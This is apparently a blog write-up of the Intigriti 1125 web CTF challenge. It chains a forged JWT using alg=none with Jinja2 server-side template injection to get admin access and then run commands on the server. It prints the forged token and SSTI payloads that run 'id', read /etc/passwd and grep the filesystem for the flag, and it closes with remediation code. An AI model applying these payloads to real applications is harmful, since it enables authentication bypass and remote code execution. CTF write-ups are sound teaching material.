600 words
3 minutes
Intigriti Challenge 1125

Authors: Hacck3y
Difficulty: Medium-Hard (feels like Easy if you’ve sold your soul to PortSwigger a long time ago)
Target: https://challenge-1125.intigriti.io
Solved: 17 November 2025
Flag: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}



Phase 1: “Wait… they actually accept alg=none in 2025?!”#

(JWT Algorithm Confusion – the 2018 classic that refuses to die)

Step 1: Register as a peasant, get a normal HS256 JWT.
Step 2: Look at the code (or just guess, because who doesn’t try this first).
Step 3: Change header to {"alg":"none","typ":"JWT"}, keep a legit-looking payload, set signature to empty → token ends with a lonely dot .

Crafted admin token (yes, really):

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5OX0.

Set cookie → refresh → suddenly you have an “Admin” button.

We literally just told the server “trust me bro, no signature needed” and it went:

Server: “Say less, king. Welcome, admin.”

Impact: Unauthenticated → Admin in one HTTP request.
Mood: Equal parts ashamed for the app and proud of ourselves.


Phase 2: Admin Panel? More Like Free RCE Panel#

Now logged in as admin, we see /admin/profile — a totally normal “update your display name” page.

Friend: “Bet it’s SSTI.”
Me: “No way they’re that generous.”
Friend: puts {{7*7}} → page returns 7777777 Me: visible existential crisis

Confirmed: raw Jinja2 SSTI with zero sandbox. The kind of gift that keeps on giving.


Phase 3: From Template Injection to “Hello I am now root” (kind of)#

Classic Jinja2 payload menu:

{{''.__class__.__mro__[1].__subclasses__()}} → let’s browse Python classes like it’s Amazon

But we’re lazy, so straight to the good stuff:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
→ uid=999(appuser) gid=999(app) ← okay not root, but still spicy

File read? Yes please:

{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}
→ full passwd dumped like it’s 2005

Now the real treasure hunt:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('grep -r "INTIGRITI" /app 2>/dev/null').read() }}

Output:

/app/.aquacommerce/019a82cf.txt:INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

Friend’s one-liner (show-off version):

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat .aquacommerce/019a82cf.txt').read() }}
→ flag straight to the face

We both just sat there in voice chat, silent for 3 seconds, then simultaneously screamed “IT’S IN .aquacommerce???”

Yes. The flag was hidden in a folder named after the best e-commerce platform that never existed.


Full Exploit Chain (pretty version)#

1. Forge JWT with alg=none → Become admin (no password, no 2FA, no shame)
2. Go to /admin/profile
3. Inject SSTI payload in "Display Name"
4. Execute command → cat the flag like it’s a Tuesday CTF
→ Profit

Total time from zero to flag: ~25 minutes (15 of which were us laughing in disbelief).


Root Causes (so the devs don’t feel too bad)#

  1. JWT library configured to accept alg: none (or custom parser that trusts the header blindly).
    → Never, ever trust the “alg” field. Hardcode allowed algorithms.

  2. Jinja2 rendering user input directly in an unsandboxed environment with full access to __builtins__.
    → If you let users touch templates, at least use SandboxedEnvironment and cry nightly.


Remediation – Copy-Paste These or Stay Vulnerable Forever#

JWT (PyJWT example)

jwt.decode(
token,
SECRET,
algorithms=["HS256"], # NEVER let the token choose
options={"verify_signature": True, "require": ["exp", "iat"]}
)

Jinja2 – Just Don’t Do This

# NEVER
template = Template(user_input) # ← this is how you get owned
# DO THIS instead
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.globals.clear() # burn it all
# or better: don’t use Jinja for user-supplied content at all

Final Thoughts & Bragging Rights#

This challenge was two Hall-of-Fame vulnerabilities having a romantic dinner together:

  • JWT none algorithm (2018 called, it wants its bug back)
  • Unsandboxed Jinja2 SSTI (PortSwigger tutorial page 47)

Yet somehow still only ~200 solvers. Moral of the story: classics never die, and Intigriti authors have a sense of humor.

Shoutout to the Intigriti team for another banger, and to my friend who carried the vibe while I just screamed “TRY NONE ALG” for the 47th time.

See you on the next one.
(We’re totally not refreshing the leaderboard right now. Nope.)

Flag: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

Now if you’ll excuse us, we’re going to touch grass… right after we check who’s leading December’s challenge.

Intigriti Challenge 1125
https://404-zeta-sable.vercel.app/posts/intigriti_challenge_1125/
Author
404
Published at
2025-11-18
License
CC BY-NC-SA 4.0